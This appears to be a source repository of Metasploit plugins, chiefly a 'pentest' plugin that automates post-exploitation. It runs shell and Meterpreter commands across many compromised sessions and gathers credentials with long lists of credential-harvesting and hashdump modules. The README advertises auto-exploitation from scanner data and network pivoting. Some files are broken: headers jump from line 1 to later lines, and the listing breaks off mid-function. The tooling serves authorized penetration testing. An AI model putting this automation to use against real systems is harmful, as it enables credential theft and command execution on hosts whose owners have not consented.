├── README.md
├── growl.rb
├── pentest.rb
└── twitt.rb
/README.md:
--------------------------------------------------------------------------------
1 | # Metasploit-Plugins
2 | Plugins for Metasploit Framework. Currently only the Pentest plugin is being maintained do to changes in Metasploit Framework that limit what gems can be loaded when the framework starts.
3 |
4 | ## Installation
5 |
6 | Copy the plugin you wish to use in to your .msf4/plugin folder in your home folder for your current user. To test that the plugin was properly install you can use the **load** command to load the plugin.
7 |
8 |
9 | msf > load pentest
10 |
11 | ___ _ _ ___ _ _
12 | | _ \___ _ _| |_ ___ __| |_ | _ \ |_ _ __ _(_)_ _
13 | | _/ -_) ' \ _/ -_|_-< _| | _/ | || / _` | | ' \
14 | |_| \___|_||_\__\___/__/\__| |_| |_|\_,_\__, |_|_||_|
15 | |___/
16 |
17 | Version 1.4
18 | Pentest plugin loaded.
19 | by Carlos Perez (carlos_perez[at]darkoperator.com)
20 | [*] Successfully loaded plugin: pentest
21 | msf >
22 |
23 |
24 |
25 | ## Pentest Plugin
26 | Once the pentest plugin is loaded we can take a look at the commands added in the Console menu using the help command. This module was written so as to aid in common taks in a pentest hence the name and to aid in the logging and collection of information so as to keep a log of actions and aid in the report writing phase of a pentest.
27 |
28 | ## Auto Exploitation
29 |
30 | These commands are used for aiding in auto exploitation of host based on information imported from a vulnerability scanner:
31 |
32 |
33 | auto_exploit Commands
34 | =====================
35 |
36 | Command Description
37 | ------- -----------
38 | show_client_side Show matched client side exploits from data imported from vuln scanners.
39 | vuln_exploit Runs exploits based on data imported from vuln scanners.
40 |
41 |
42 |
43 | ### Discovery Commands
44 | This commands are used for the initial enumeration and additional information gathering from detected services.
45 |
46 |
47 | Discovery Commands
48 | ==================
49 |
50 | Command Description
51 | ------- -----------
52 | discover_db Run discovery modules against current hosts in the database.
53 | network_discover Performs a port-scan and enumeration of services found for non pivot networks.
54 | pivot_network_discover Performs enumeration of networks available to a specified Meterpreter session.
55 | show_session_networks Enumerate the networks one could pivot thru Meterpreter in the active sessions.
56 |
57 |
58 | ## Project Command
59 | Allows the creation of projects using workspaces and the export of all data so it can be imported in to another scanner or archived. All actions are logged and timestamps for later uses in pentest reporting. All commands have help text and parameters that can be viewed using the **-h** switch.
60 |
61 | Project Commands
62 | ================
63 |
64 | Command Description
65 | ------- -----------
66 | project Command for managing projects.
67 |
68 |
69 | ## Post Exploitation Automation Commands
70 | These command aid in the post exploitation tasks across multiple sessions and the automation of actions.
71 |
72 |
73 | Postauto Commands
74 | =================
75 |
76 | Command Description
77 | ------- -----------
78 | app_creds Run application password collection modules against specified sessions.
79 | multi_cmd Run shell command against several sessions
80 | multi_meter_cmd Run a Meterpreter Console Command against specified sessions.
81 | multi_meter_cmd_rc Run resource file with Meterpreter Console Commands against specified sessions.
82 | multi_post Run a post module against specified sessions.
83 | multi_post_rc Run resource file with post modules and options against specified sessions.
84 | sys_creds Run system password collection modules against specified sessions.
85 |
86 |
--------------------------------------------------------------------------------
/growl.rb:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2011, Carlos Perez "Displays help",
111 | 'growl_start' => "Start Growl Plugin after saving settings.",
112 | 'growl_save' => "Save Settings to YAML File #{Growl_yaml}.",
113 | 'growl_set_host' => "Sets host to send message to.",
114 | 'growl_set_password' => "Sets password to use.",
115 | 'growl_set_source' => "Sets the source name shown in the messages.",
116 | 'growl_set_sticky' => "Sets true or false if the message will be sticky.",
117 | 'growl_show_parms' => "Shows currently set parameters."
118 |
119 | }
120 | end
121 |
122 | # Help Command
123 | def cmd_growl_help
124 | puts "Help"
125 | end
126 |
127 | # Re-Read YAML file and set Growl Configuration
128 | def cmd_growl_start
129 | print_status "Starting to monitor sessions to Growl on"
130 | if read_settings()
131 | self.framework.events.add_session_subscriber(self)
132 | @g = Growl.new(@host,@source,["Session Notification"],nil,@password)
133 | print_good("Growl Plugin Started, Monitoring Sessions")
134 | else
135 | print_error("Could not set Growl settings.")
136 | end
137 | end
138 |
139 | # Save Parameters to text file
140 | def cmd_growl_save
141 | print_status("Saving paramters to config file")
142 | if @host and @password and @sticky and @source
143 | config = {'host' => @host, 'password' => @password,
144 | 'sticky' => @sticky, 'source' => @source
145 | }
146 | File.open(Growl_yaml, 'w') do |out|
147 | YAML.dump(config, out)
148 | end
149 | print_good("All parameters saved to #{Growl_yaml}")
150 | else
151 | print_error("You have not provided all the parameters!")
152 | end
153 | end
154 |
155 | # Set Host to send message to
156 | def cmd_growl_set_host(*args)
157 | if args.length > 0
158 | print_status("Setting the host to #{args[0]}")
159 | @host = args[0]
160 | else
161 | print_error("Please provide a value")
162 | end
163 | end
164 |
165 | # Set Growl Password
166 | def cmd_growl_set_password(*args)
167 | if args.length > 0
168 | print_status("Setting the password to #{args[0]}")
169 | @password = args[0]
170 | else
171 | print_error("Please provide a value")
172 | end
173 | end
174 |
175 | # Set if message will be sticky or not
176 | def cmd_growl_set_sticky(*args)
177 | if args.length > 0
178 | print_status("Setting sticky to #{args[0]}")
179 | case args[0].downcase
180 | when "true"
181 | @sticky = true
182 | when "false"
183 | @sticky = false
184 | else
185 | print_error("Please Specify true or false")
186 | end
187 | else
188 | print_error("Please provide a value")
189 | end
190 | end
191 |
192 |
193 | # Show parameters that will be used
194 | def cmd_growl_show_parms
195 | print_status("Parameters:")
196 | print_good("host #{@host}")
197 | print_good("password #{@password}")
198 | print_good("sticky #{@sticky}")
199 | print_good("source #{@source}")
200 | end
201 |
202 | # Set the source name that will be shown in the messages
203 | def cmd_growl_set_source(*args)
204 | if args.length > 0
205 | print_status("Setting the source to #{args[0]}")
206 | @source = args[0]
207 | else
208 | print_error("Please provide a value")
209 | end
210 | end
211 |
212 | end
213 |
214 | end
215 | end
216 |
217 |
--------------------------------------------------------------------------------
/pentest.rb:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2017, Carlos Perez "Run a post module against specified sessions.",
39 | 'multi_post_rc' => "Run resource file with post modules and options against specified sessions.",
40 | 'multi_meter_cmd' => "Run a Meterpreter Console Command against specified sessions.",
41 | 'multi_meter_cmd_rc'=> "Run resource file with Meterpreter Console Commands against specified sessions.",
42 | "multi_cmd" => "Run shell command against several sessions",
43 | "sys_creds" => "Run system password collection modules against specified sessions.",
44 | "app_creds" => "Run application password collection modules against specified sessions.",
45 | "get_lhost" => "List local IP addresses that can be used for LHOST."
46 | }
47 | end
48 |
49 |
50 | def cmd_get_lhost(*args)
51 |
52 | opts = Rex::Parser::Arguments.new(
53 | "-h" => [ false, "Command help."]
54 | )
55 | opts.parse(args) do |opt, idx, val|
56 | case opt
57 | when "-h"
58 | print_line("Command for listing local IP Addresses that can be used with LHOST.")
59 | print_line(opts.usage)
60 | return
61 | else
62 | print_line(opts.usage)
63 | return
64 | end
65 | end
66 |
67 | print_status("Local host IP addresses:")
68 | Socket.ip_address_list.each do |a|
69 | if !(a.ipv4_loopback?()|a.ipv6_linklocal?()|a.ipv6_loopback?())
70 | print_good("\t#{a.ip_address}")
71 | end
72 | end
73 | print_line
74 | end
75 | # Multi shell command
76 | def cmd_multi_cmd(*args)
77 | # Define options
78 | opts = Rex::Parser::Arguments.new(
79 | "-s" => [ true, "Comma separated list sessions to run modules against."],
80 | "-c" => [ true, "Shell command to run."],
81 | "-p" => [ true, "Platform to run the command against. If none given it will run against all."],
82 | "-h" => [ false, "Command Help."]
83 | )
84 |
85 | # set variables for options
86 | sessions = []
87 | command = ""
88 | plat = ""
89 |
90 | # Parse options
91 | opts.parse(args) do |opt, idx, val|
92 | case opt
93 | when "-s"
94 | if val =~ /all/i
95 | sessions = framework.sessions.keys
96 | else
97 | sessions = val.split(",")
98 | end
99 | when "-c"
100 | command = val
101 | when "-p"
102 | plat = val
103 | when "-h"
104 | print_line(opts.usage)
105 | return
106 | else
107 | print_line(opts.usage)
108 | return
109 | end
110 | end
111 |
112 | # Make sure that proper values where provided
113 | if not sessions.empty? and not command.empty?
114 | # Iterate thru the session IDs
115 | sessions.each do |s|
116 | # Set the session object
117 | session = framework.sessions[s.to_i]
118 | if session.platform =~ /#{plat}/i || plat.empty?
119 | host = session.tunnel_peer.split(":")[0]
120 | print_line("Running #{command} against session #{s}")
121 | # Run the command
122 | cmd_out = session.shell_command_token(command)
123 | # Print good each line of the command output
124 | if not cmd_out.nil?
125 | cmd_out.each_line do |l|
126 | print_line(l.chomp)
127 | end
128 | file_name = "#{File.join(Msf::Config.loot_directory,"#{Time.now.strftime("%Y%m%d%H%M%S")}_command.txt")}"
129 | framework.db.report_loot({ :host=> host,
130 | :path => file_name,
131 | :ctype => "text/plain",
132 | :ltype => "host.command.shell",
133 | :data => cmd_out,
134 | :name => "#{host}.txt",
135 | :info => "Output of command #{command}" })
136 | else
137 | print_error("No output or error when running the command.")
138 | end
139 | end
140 | end
141 | else
142 | print_error("You must specify both a session and a command.")
143 | print_line(opts.usage)
144 | return
145 | end
146 | end
147 |
148 | # browser_creds Command
149 | #-------------------------------------------------------------------------------------------
150 | def cmd_app_creds(*args)
151 | opts = Rex::Parser::Arguments.new(
152 | "-s" => [ true, "Sessions to run modules against. Example or <1,2,3,4>"],
153 | "-h" => [ false, "Command Help"]
154 | )
155 | cred_mods = [
156 | {"mod" => "windows/gather/credentials/wsftp_client", "opt" => nil},
157 | {"mod" => "windows/gather/credentials/winscp", "opt" => nil},
158 | {"mod" => "windows/gather/credentials/windows_autologin", "opt" => nil},
159 | {"mod" => "windows/gather/credentials/vnc", "opt" => nil},
160 | {"mod" => "windows/gather/credentials/trillian", "opt" => nil},
161 | {"mod" => "windows/gather/credentials/total_commander", "opt" => nil},
162 | {"mod" => "windows/gather/credentials/smartftp", "opt" => nil},
163 | {"mod" => "windows/gather/credentials/outlook", "opt" => nil},
164 | {"mod" => "windows/gather/credentials/nimbuzz", "opt" => nil},
165 | {"mod" => "windows/gather/credentials/mremote", "opt" => nil},
166 | {"mod" => "windows/gather/credentials/imail", "opt" => nil},
167 | {"mod" => "windows/gather/credentials/idm", "opt" => nil},
168 | {"mod" => "windows/gather/credentials/flashfxp", "opt" => nil},
169 | {"mod" => "windows/gather/credentials/filezilla_server", "opt" => nil},
170 | {"mod" => "windows/gather/credentials/meebo", "opt" => nil},
171 | {"mod" => "windows/gather/credentials/razorsql", "opt" => nil},
172 | {"mod" => "windows/gather/credentials/coreftp", "opt" => nil},
173 | {"mod" => "windows/gather/credentials/imvu", "opt" => nil},
174 | {"mod" => "windows/gather/credentials/epo_sql", "opt" => nil},
175 | {"mod" => "windows/gather/credentials/gpp", "opt" => nil},
176 | {"mod" => "windows/gather/credentials/enum_picasa_pwds", "opt" => nil},
177 | {"mod" => "windows/gather/credentials/tortoisesvn", "opt" => nil},
178 | {"mod" => "windows/gather/credentials/ftpnavigator", "opt" => nil},
179 | {"mod" => "windows/gather/credentials/dyndns", "opt" => nil},
180 | {"mod" => "windows/gather/credentials/bulletproof_ftp", "opt" => nil},
181 | {"mod" => "windows/gather/credentials/enum_cred_store", "opt" => nil},
182 | {"mod" => "windows/gather/credentials/ftpx", "opt" => nil},
183 | {"mod" => "windows/gather/credentials/razer_synapse", "opt" => nil},
184 | {"mod" => "windows/gather/credentials/sso", "opt" => nil},
185 | {"mod" => "windows/gather/credentials/steam", "opt" => nil},
186 | {"mod" => "windows/gather/enum_ie", "opt" => nil},
187 | {"mod" => "multi/gather/ssh_creds", "opt" => nil},
188 | {"mod" => "multi/gather/pidgin_cred", "opt" => nil},
189 | {"mod" => "multi/gather/firefox_creds", "opt" => nil},
190 | {"mod" => "multi/gather/filezilla_client_cred", "opt" => nil},
191 | {"mod" => "multi/gather/fetchmailrc_creds", "opt" => nil},
192 | {"mod" => "multi/gather/thunderbird_creds", "opt" => nil},
193 | {"mod" => "multi/gather/netrc_creds", "opt" => nil},
194 | {"mod" => "/multi/gather/gpg_creds", "opt" => nil}
195 | ]
196 |
197 | # Parse options
198 | if args.length == 0
199 | print_line(opts.usage)
200 | return
201 | end
202 | sessions = ""
203 |
204 | opts.parse(args) do |opt, idx, val|
205 | case opt
206 | when "-s"
207 | sessions = val
208 | when "-h"
209 | print_line(opts.usage)
210 | return
211 | else
212 | print_line(opts.usage)
213 | return
214 | end
215 | end
216 | if not sessions.empty?
217 | cred_mods.each do |p|
218 | m = framework.post.create(p["mod"])
219 | next if m == nil
220 |
221 | # Set Sessions to be processed
222 | if sessions =~ /all/i
223 | session_list = m.compatible_sessions
224 | else
225 | session_list = sessions.split(",")
226 | end
227 | session_list.each do |s|
228 | begin
229 | if m.session_compatible?(s.to_i)
230 | m.datastore['SESSION'] = s.to_i
231 | if p['opt']
232 | opt_pair = p['opt'].split("=",2)
233 | m.datastore[opt_pair[0]] = opt_pair[1]
234 | end
235 | m.options.validate(m.datastore)
236 | print_line("")
237 | print_line("Running #{p['mod']} against #{s}")
238 | m.run_simple(
239 | 'LocalInput' => driver.input,
240 | 'LocalOutput' => driver.output
241 | )
242 | end
243 | rescue
244 | print_error("Could not run post module against sessions #{s}.")
245 | end
246 | end
247 | end
248 | else
249 | print_line(opts.usage)
250 | return
251 | end
252 | end
253 |
254 | # sys_creds Command
255 | #-------------------------------------------------------------------------------------------
256 | def cmd_sys_creds(*args)
257 | opts = Rex::Parser::Arguments.new(
258 | "-s" => [ true, "Sessions to run modules against. Example or <1,2,3,4>"],
259 | "-h" => [ false, "Command Help"]
260 | )
261 | cred_mods = [
262 | {"mod" => "windows/gather/cachedump", "opt" => nil},
263 | {"mod" => "windows/gather/smart_hashdump", "opt" => "GETSYSTEM=true"},
264 | {"mod" => "windows/gather/credentials/gpp", "opt" => nil},
265 | {"mod" => "osx/gather/hashdump", "opt" => nil},
266 | {"mod" => "linux/gather/hashdump", "opt" => nil},
267 | {"mod" => "solaris/gather/hashdump", "opt" => nil},
268 | ]
269 |
270 | # Parse options
271 |
272 | sessions = ""
273 | opts.parse(args) do |opt, idx, val|
274 | case opt
275 | when "-s"
276 | sessions = val
277 | when "-h"
278 | print_line(opts.usage)
279 | return
280 | else
281 | print_line(opts.usage)
282 | return
283 | end
284 | end
285 | if not sessions.empty?
286 | cred_mods.each do |p|
287 | m = framework.post.create(p["mod"])
288 | # Set Sessions to be processed
289 | if sessions =~ /all/i
290 | session_list = m.compatible_sessions
291 | else
292 | session_list = sessions.split(",")
293 | end
294 | session_list.each do |s|
295 | if m.session_compatible?(s.to_i)
296 | m.datastore['SESSION'] = s.to_i
297 | if p['opt']
298 | opt_pair = p['opt'].split("=",2)
299 | m.datastore[opt_pair[0]] = opt_pair[1]
300 | end
301 | m.options.validate(m.datastore)
302 | print_line("")
303 | print_line("Running #{p['mod']} against #{s}")
304 | m.run_simple(
305 | 'LocalInput' => driver.input,
306 | 'LocalOutput' => driver.output
307 | )
308 | end
309 | end
310 | end
311 | else
312 | print_line(opts.usage)
313 | return
314 | end
315 | end
316 |
317 | # Multi_post Command
318 | #-------------------------------------------------------------------------------------------
319 |
320 | # Function for doing auto complete on module name
321 | def tab_complete_module(str, words)
322 | res = []
323 | framework.modules.module_types.each do |mtyp|
324 | mset = framework.modules.module_names(mtyp)
325 | mset.each do |mref|
326 | res << mtyp + '/' + mref
327 | end
328 | end
329 |
330 | return res.sort
331 | end
332 |
333 | # Function to do tab complete on modules for multi_post
334 | def cmd_multi_post_tabs(str, words)
335 | tab_complete_module(str, words)
336 | end
337 |
338 | # Function for the multi_post command
339 | def cmd_multi_post(*args)
340 | opts = Rex::Parser::Arguments.new(
341 | "-s" => [ true, "Sessions to run module against. Example or <1,2,3,4>"],
342 | "-m" => [ true, "Module to run against sessions."],
343 | "-o" => [ true, "Module options."],
344 | "-h" => [ false, "Command Help."]
345 | )
346 | post_mod = ""
347 | mod_opts = nil
348 | sessions = ""
349 |
350 | # Parse options
351 | opts.parse(args) do |opt, idx, val|
352 | case opt
353 | when "-s"
354 | sessions = val
355 | when "-m"
356 | post_mod = val.gsub(/^post\//,"")
357 | when "-o"
358 | mod_opts = val
359 | when "-h"
360 | print_line opts.usage
361 | return
362 | else
363 | print_status "Please specify a module to run with the -m option."
364 | return
365 | end
366 | end
367 | # Make sure that proper values where provided
368 | if not sessions.empty? and not post_mod.empty?
369 | # Set and execute post module with options
370 | print_line("Loading #{post_mod}")
371 | m = framework.post.create(post_mod)
372 | if sessions =~ /all/i
373 | session_list = m.compatible_sessions
374 | else
375 | session_list = sessions.split(",")
376 | end
377 | if session_list
378 | session_list.each do |s|
379 | if m.session_compatible?(s.to_i)
380 | print_line("Running against #{s}")
381 | m.datastore['SESSION'] = s.to_i
382 | if mod_opts
383 | mod_opts.each do |o|
384 | opt_pair = o.split("=",2)
385 | print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
386 | m.datastore[opt_pair[0]] = opt_pair[1]
387 | end
388 | end
389 | m.options.validate(m.datastore)
390 | m.run_simple(
391 | 'LocalInput' => driver.input,
392 | 'LocalOutput' => driver.output
393 | )
394 | else
395 | print_error("Session #{s} is not compatible with #{post_mod}.")
396 | end
397 | end
398 | else
399 | print_error("No compatible sessions were found.")
400 | end
401 | else
402 | print_error("A session or Post Module where not specified.")
403 | print_line(opts.usage)
404 | return
405 | end
406 | end
407 |
408 | # Multi_post_rc Command
409 | #-------------------------------------------------------------------------------------------
410 | def cmd_multi_post_rc_tabs(str, words)
411 | tab_complete_filenames(str, words)
412 | end
413 |
414 | def cmd_multi_post_rc(*args)
415 | opts = Rex::Parser::Arguments.new(
416 | "-rc" => [ true, "Resource file with space separate values , per line."],
417 | "-h" => [ false, "Command Help."]
418 | )
419 | post_mod = nil
420 | session_list = nil
421 | mod_opts = nil
422 | entries = []
423 | opts.parse(args) do |opt, idx, val|
424 | case opt
425 | when "-rc"
426 | script = val
427 | if not ::File.exists?(script)
428 | print_error "Resource File does not exists!"
429 | return
430 | else
431 | ::File.open(script, "r").each_line do |line|
432 | # Empty line
433 | next if line.strip.length < 1
434 | # Comment
435 | next if line[0,1] == "#"
436 | entries << line.chomp
437 | end
438 | end
439 | when "-h"
440 | print_line opts.usage
441 | return
442 | else
443 | print_line opts.usage
444 | return
445 | end
446 | end
447 | if entries
448 | entries.each do |l|
449 | values = l.split
450 | sessions = values[0]
451 | post_mod = values[1]
452 | if values.length == 3
453 | mod_opts = values[2].split(",")
454 | end
455 | print_line("Loading #{post_mod}")
456 | m= framework.post.create(post_mod.gsub(/^post\//,""))
457 | if sessions =~ /all/i
458 | session_list = m.compatible_sessions
459 | else
460 | session_list = sessions.split(",")
461 | end
462 | session_list.each do |s|
463 | if m.session_compatible?(s.to_i)
464 | print_line("Running Against #{s}")
465 | m.datastore['SESSION'] = s.to_i
466 | if mod_opts
467 | mod_opts.each do |o|
468 | opt_pair = o.split("=",2)
469 | print_line("\tSetting Option #{opt_pair[0]} to #{opt_pair[1]}")
470 | m.datastore[opt_pair[0]] = opt_pair[1]
471 | end
472 | end
473 | m.options.validate(m.datastore)
474 | m.run_simple(
475 | 'LocalInput' => driver.input,
476 | 'LocalOutput' => driver.output
477 | )
478 | else
479 | print_error("Session #{s} is not compatible with #{post_mod}")
480 | end
481 | end
482 | end
483 | else
484 | print_error("Resource file was empty!")
485 | end
486 | end
487 |
488 | # Multi_meter_cmd Command
489 | #-------------------------------------------------------------------------------------------
490 | def cmd_multi_meter_cmd(*args)
491 | opts = Rex::Parser::Arguments.new(
492 | "-s" => [ true, "Sessions to run Meterpreter Console Command against. Example or <1,2,3,4>"],
493 | "-c" => [ true, "Meterpreter Console Command to run against sessions."],
494 | "-h" => [ false, "Command Help."]
495 | )
496 | command = nil
497 | session = nil
498 |
499 | # Parse options
500 | opts.parse(args) do |opt, idx, val|
501 | case opt
502 | when "-s"
503 | session = val
504 | when "-c"
505 | command = val
506 | when "-h"
507 | print_line opts.usage
508 | return
509 | else
510 | print_status "Please specify a command to run with the -m option."
511 | return
512 | end
513 | end
514 | current_sessions = framework.sessions.keys.sort
515 | if session =~/all/i
516 | sessions = current_sessions
517 | else
518 | sessions = session.split(",")
519 | end
520 | sessions.each do |s|
521 | # Check if session is in the current session list.
522 | next if not current_sessions.include?(s.to_i)
523 | # Get session object
524 | session = framework.sessions.get(s.to_i)
525 | # Check if session is meterpreter and run command.
526 | if (session.type == "meterpreter")
527 | print_line("Running command #{command} against session #{s}")
528 | session.console.run_single(command)
529 | else
530 | print_line("Session #{s} is not a Meterpreter session!")
531 | end
532 | end
533 | end
534 |
535 | # Multi_post_rc Command
536 | #-------------------------------------------------------------------------------------------
537 | def cmd_multi_meter_cmd_rc(*args)
538 | opts = Rex::Parser::Arguments.new(
539 | "-rc" => [ true, "Resource file with space separate values , per line."],
540 | "-h" => [ false, "Command Help"]
541 | )
542 | entries = []
543 | script = nil
544 | opts.parse(args) do |opt, idx, val|
545 | case opt
546 | when "-rc"
547 | script = val
548 | if not ::File.exists?(script)
549 | print_error "Resource File does not exists"
550 | return
551 | else
552 | ::File.open(script, "r").each_line do |line|
553 | # Empty line
554 | next if line.strip.length < 1
555 | # Comment
556 | next if line[0,1] == "#"
557 | entries << line.chomp
558 | end
559 | end
560 | when "-h"
561 | print_line opts.usage
562 | return
563 | else
564 | print_line opts.usage
565 | return
566 | end
567 | end
568 | entries.each do |entrie|
569 | session_parm,command = entrie.split(" ", 2)
570 | current_sessions = framework.sessions.keys.sort
571 | if session_parm =~ /all/i
572 | sessions = current_sessions
573 | else
574 | sessions = session_parm.split(",")
575 | end
576 | sessions.each do |s|
577 | # Check if session is in the current session list.
578 | next if not current_sessions.include?(s.to_i)
579 | # Get session object
580 | session = framework.sessions.get(s.to_i)
581 | # Check if session is meterpreter and run command.
582 | if (session.type == "meterpreter")
583 | print_line("Running command #{command} against session #{s}")
584 | session.console.run_single(command)
585 | else
586 | print_line("Session #{s} is not a Meterpreter sessions.")
587 | end
588 | end
589 | end
590 | end
591 | end
592 |
593 | # Project handling commands
594 | ################################################################################################
595 | class ProjectCommandDispatcher
596 | include Msf::Ui::Console::CommandDispatcher
597 |
598 | # Set name for command dispatcher
599 | def name
600 | "Project"
601 | end
602 |
603 | # Define Commands
604 | def commands
605 | {
606 | "project" => "Command for managing projects.",
607 | }
608 | end
609 |
610 | def cmd_project(*args)
611 | # variable
612 | project_name = ""
613 | create = false
614 | delete = false
615 | history = false
616 | switch = false
617 | archive = false
618 | arch_path = ::File.join(Msf::Config.log_directory,"archives")
619 | # Define options
620 | opts = Rex::Parser::Arguments.new(
621 | "-c" => [ false, "Create a new Metasploit project and sets logging for it."],
622 | "-d" => [ false, "Delete a project created by the plugin."],
623 | "-s" => [ false, "Switch to a project created by the plugin."],
624 | "-a" => [ false, "Export all history and DB and archive it in to a zip file for current project."],
625 | "-p" => [ true, "Path to save archive, if none provide default ~/.msf4/archives will be used."],
626 | "-r" => [ false, "Create time stamped RC files of Meterpreter Sessions and console history for current project."],
627 | "-ph" => [ false, "Generate resource files for sessions and console. Generate time stamped session logs for current project."],
628 | "-l" => [ false, "List projects created by plugin."],
629 | "-h" => [ false, "Command Help"]
630 | )
631 | opts.parse(args) do |opt, idx, val|
632 | case opt
633 | when "-p"
634 | if ::File.directory?(val)
635 | arch_path = val
636 | else
637 | print_error("Path provided for archive does not exists!")
638 | return
639 | end
640 | when "-d"
641 | delete = true
642 | when "-s"
643 | switch = true
644 | when "-a"
645 | archive = true
646 | when "-c"
647 | create = true
648 | when "-r"
649 | make_console_rc
650 | make_sessions_rc
651 | when "-h"
652 | print_line(opts.usage)
653 | return
654 | when "-l"
655 | list
656 | return
657 | when "-ph"
658 | history = true
659 | else
660 | project_name = val.gsub(" ","_").chomp
661 | end
662 | end
663 | if project_name and create
664 | project_create(project_name)
665 | elsif project_name and delete
666 | project_delete(project_name)
667 | elsif project_name and switch
668 | project_switch(project_name)
669 | elsif archive
670 | project_archive(arch_path)
671 | elsif history
672 | project_history
673 | else
674 | list
675 | end
676 | end
677 |
678 | def project_delete(project_name)
679 | # Check if project exists
680 | if project_list.include?(project_name)
681 | current_workspace = framework.db.workspace.name
682 | if current_workspace == project_name
683 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
684 | end
685 | workspace = framework.db.find_workspace(project_name)
686 | if workspace.default?
687 | workspace.destroy
688 | workspace = framework.db.add_workspace(project_name)
689 | print_line("Deleted and recreated the default workspace")
690 | else
691 | # switch to the default workspace if we're about to delete the current one
692 | framework.db.workspace = framework.db.default_workspace if framework.db.workspace.name == workspace.name
693 | # now destroy the named workspace
694 | workspace.destroy
695 | print_line("Deleted workspace: #{project_name}")
696 | end
697 | project_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
698 | ::FileUtils.rm_rf(project_path)
699 | print_line("Project folder #{project_path} has been deleted")
700 | else
701 | print_error("Project was not found on list of projects!")
702 | end
703 | return true
704 | end
705 |
706 | # Switch to another project created by the plugin
707 | def project_switch(project_name)
708 | # Check if project exists
709 | if project_list.include?(project_name)
710 | print_line("Switching to #{project_name}")
711 | # Disable spooling for current
712 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
713 |
714 | # Switch workspace
715 | workspace = framework.db.find_workspace(project_name)
716 | framework.db.workspace = workspace
717 | print_line("Workspace: #{workspace.name}")
718 |
719 | # Spool
720 | spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
721 | spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
722 |
723 | # Start spooling for new workspace
724 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
725 | print_line("Spooling to file #{spool_file}...")
726 | print_line("Successfully migrated to #{project_name}")
727 |
728 | else
729 | print_error("Project was not found on list of projects!")
730 | end
731 | return true
732 | end
733 |
734 | # List current projects created by the plugin
735 | def list
736 | current_workspace = framework.db.workspace.name
737 | print_line("List of projects:")
738 | project_list.each do |p|
739 | if current_workspace == p
740 | print_line("\t* #{p}")
741 | else
742 | print_line("\t#{p}")
743 | end
744 | end
745 | return true
746 | end
747 |
748 | # Archive project in to a zip file
749 | def project_archive(archive_path)
750 | # Set variables for options
751 | project_name = framework.db.workspace.name
752 | project_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
753 | archive_name = "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.zip"
754 | db_export_name = "#{project_name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.xml"
755 | db_out = ::File.join(project_path,db_export_name)
756 | format = "xml"
757 | print_line("Exporting DB Workspace #{project_name}")
758 | exporter = Msf::DBManager::Export.new(framework.db.workspace)
759 | exporter.send("to_#{format}_file".intern,db_out) do |mtype, mstatus, mname|
760 | if mtype == :status
761 | if mstatus == "start"
762 | print_line(" >> Starting export of #{mname}")
763 | end
764 | if mstatus == "complete"
765 | print_line(" >> Finished export of #{mname}")
766 | end
767 | end
768 | end
769 | print_line("Finished export of workspace #{framework.db.workspace.name} to #{db_out} [ #{format} ]...")
770 | print_line("Disabling spooling for #{project_name}")
771 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
772 | print_line("Spooling disabled for archiving")
773 | archive_full_path = ::File.join(archive_path,archive_name)
774 | make_console_rc
775 | make_sessions_rc
776 | make_sessions_logs
777 | compress(project_path,archive_full_path)
778 | print_line("MD5 for archive is #{digestmd5(archive_full_path)}")
779 | # Spool
780 | spool_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
781 | spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
782 | print_line("Spooling re-enabled")
783 | # Start spooling for new workspace
784 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
785 | print_line("Spooling to file #{spool_file}...")
786 | return true
787 | end
788 |
789 | # Export Command History for Sessions and Console
790 | #-------------------------------------------------------------------------------------------
791 | def project_history
792 | make_console_rc
793 | make_sessions_rc
794 | make_sessions_logs
795 | return true
796 | end
797 |
798 | # Create a new project Workspace and enable logging
799 | #-------------------------------------------------------------------------------------------
800 | def project_create(project_name)
801 | # Make sure that proper values where provided
802 | spool_path = ::File.join(Msf::Config.log_directory,"projects",project_name)
803 | ::FileUtils.mkdir_p(spool_path)
804 | spool_file = ::File.join(spool_path,"#{project_name}_spool.log")
805 | if framework.db and framework.db.active
806 | print_line("Creating DB Workspace named #{project_name}")
807 | workspace = framework.db.add_workspace(project_name)
808 | framework.db.workspace = workspace
809 | print_line("Added workspace: #{workspace.name}")
810 | driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(spool_file))
811 | print_line("Spooling to file #{spool_file}...")
812 | else
813 | print_error("A database most be configured and connected to create a project")
814 | end
815 |
816 | return true
817 | end
818 |
819 | # Method for creating a console resource file from all commands entered in the console
820 | #-------------------------------------------------------------------------------------------
821 | def make_console_rc
822 | # Set RC file path and file name
823 | rc_file = "#{framework.db.workspace.name}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc"
824 | consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name)
825 | rc_full_path = ::File.join(consonle_rc_path,rc_file)
826 |
827 | # Create folder
828 | ::FileUtils.mkdir_p(consonle_rc_path)
829 | con_rc = ""
830 | framework.db.workspace.events.each do |e|
831 | if not e.info.nil? and e.info.has_key?(:command) and not e.info.has_key?(:session_type)
832 | con_rc << "# command executed at #{e.created_at}\n"
833 | con_rc << "#{e.info[:command]}\n"
834 | end
835 | end
836 |
837 | # Write RC console file
838 | print_line("Writing Console RC file to #{rc_full_path}")
839 | file_write(rc_full_path, con_rc)
840 | print_line("RC file written")
841 |
842 | return rc_full_path
843 | end
844 |
845 | # Method for creating individual rc files per session using the session uuid
846 | #-------------------------------------------------------------------------------------------
847 | def make_sessions_rc
848 | sessions_uuids = []
849 | sessions_info = []
850 | info = ""
851 | rc_file = ""
852 | rc_file_name = ""
853 | rc_list =[]
854 |
855 | framework.db.workspace.events.each do |e|
